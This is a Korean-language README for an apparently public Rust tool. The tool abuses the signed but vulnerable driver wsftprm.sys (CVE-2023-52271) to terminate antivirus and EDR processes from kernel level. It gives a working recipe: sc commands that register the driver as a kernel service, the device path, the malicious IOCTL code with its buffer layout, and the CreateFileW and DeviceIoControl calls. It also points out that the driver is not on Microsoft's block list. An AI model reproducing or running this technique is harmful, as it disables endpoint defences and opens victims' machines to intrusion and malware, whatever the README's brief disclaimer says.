
취약한 드라이버(BYOVD)를 악용한 AV/EDR 프로세스 종료
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
이 프로젝트는 합법적이고 서명된 드라이버가 커널 수준 액세스를 얻기 위해 무기화될 수 있는 방법을 보여줍니다.
wsftprm.sys , TPZ SOLUCOES DIGITAIS LTDA에서 서명했으며, 이전에 CVE-2023-52271로 공개적으로 공개된 로컬 권한 상승 취약점에 노출되었지만, 어째서인지 여전히 Microsoft의 드라이버 차단 목록에 없습니다!! 🤫🤫
취약점은 IOCTL 코드 0x22201C와 1036바이트 버퍼를 통해 트리거되며, 처음 4바이트에는 대상 프로세스 ID가 DWORD로 포함됩니다. 취약한 드라이버는 DeviceIoControl을 통해 이 악성 IOCTL을 수신하면 가져온 ZwTerminateProcess 함수를 호출하여 모든 사용자 모드 애플리케이션에 커널 수준 프로세스 종료 기능을 부여합니다.
정상적인 위협 행위자는 당연히 이 기능을 우선시하여 중요한 안티바이러스(AV) 및 엔드포인트 탐지 및 대응(EDR) 프로세스를 종료할 것입니다.
관리자 권한으로 cmd.exe를 실행하고, 유형이 "kernel"이고 binPath가 취약한 드라이버의 위치를 가리키는 커널 드라이버 서비스를 등록하십시오.
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
로드되면 드라이버는 사용자 모드에서 \.\Warsaw_PM으로 액세스할 수 있는 심볼릭 링크를 생성합니다. 이를 사용하여 CreateFileW API 호출을 통해 드라이버 장치에 대한 핸들을 얻을 수 있습니다.
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
악성 IOCTL을 보내기 위해 코드 0x22201C와 처음 4바이트에 PID가 포함된 버퍼를 사용하여 DeviceIoControl을 사용합니다.
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
바이너리를 생성하려면 Cargo build --release를 실행하십시오.
종료 대상 목록에 추가 프로세스를 추가할 수 있습니다.
이 도구를 사용하기 전에 적절한 권한이 있는지 확인하는 것은 귀하의 책임입니다. 작성자는 오용에 대한 어떠한 책임도 지지 않습니다.
기여와 제안을 환영합니다! 아이디어, 개선 사항이 있거나 협업을 원하시면 언제든지 [email protected]으로 연락해 주십시오.